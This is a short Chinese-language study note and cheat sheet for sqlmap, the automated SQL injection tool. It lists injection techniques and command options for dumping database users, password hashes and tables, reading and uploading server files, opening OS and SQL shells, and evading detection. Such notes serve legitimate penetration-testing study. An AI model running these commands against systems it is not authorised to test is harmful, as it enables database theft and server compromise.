sqlmap学习笔记
sqlmap笔记
sqlmap是一款强大的自动化sql注入工具,主要功能是扫描、发现并利用给定的url进行sql注入,目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。
sqlmap采用了五种sql注入技术:
- 基于布尔类型的盲注
- 基于时间的盲注
- 基于报错注入
- 联合查询注入
- 堆查询注入
sqlmap -r http.txt 利用抓取的数据包
sqlmap -r http.txt -p username 指定注入的参数
sqlmap -u 'http://www.xx.com/username/admin*' 如果已知注入点是admin,则可以利用*指定
sqlmap -u <url> [options]对url进行探测
options:
--cookie:指定cookie,对于一些需要登录的网站
--data:post请求的数据包
--users:查看数据库的所有用户
--passwords:查看数据库用户的密码
--current-user:查看数据库的当前用户
--is-dba:判断用户是否具有管理员权限
--roles:列出数据库所有的管理员角色
--dbs:爆出所有的数据库
--tables:爆出所有的数据表
--columns:爆出所有数据库的列
-D <database> -T <table> -C <column>:指定数据库、表、列
--dump:爆出指定表所有的数据
--dump --start 1 --stop 100:指定数据数量
--dump-all:所有数据
--level:探测等级,越高探测的越全面
--risk:平台风险等级
--sql-shell:执行指定的sql
--os-shell:执行系统命令
--os-pwd:将目标权限反弹
--file-read <filepath>:读取目标服务器指定文件内容
--file-write <localfile> --file-dest <filepath>:将本地文件上传至目标服务器指定位置
--dbms=<databaseType>:指定数据库类型
--random-agent:随机UA
--proxy=<proxy>:指定代理
--fresh-session:清空当前url的相关session
--fresh-queries:忽略之前查询的结果,进行重新请求操作
-v n:显示注入详情
0:只显示python错误和严重的信息
1:同时显示基本信息和警告信息(默认)
2:同时显示debug信息
3:同时显示注入的payload
4:同时显示HTTP请求
5:同时显示HTTP响应头
6:同时显示HTTP响应页面
参考:Sqlmap使用详解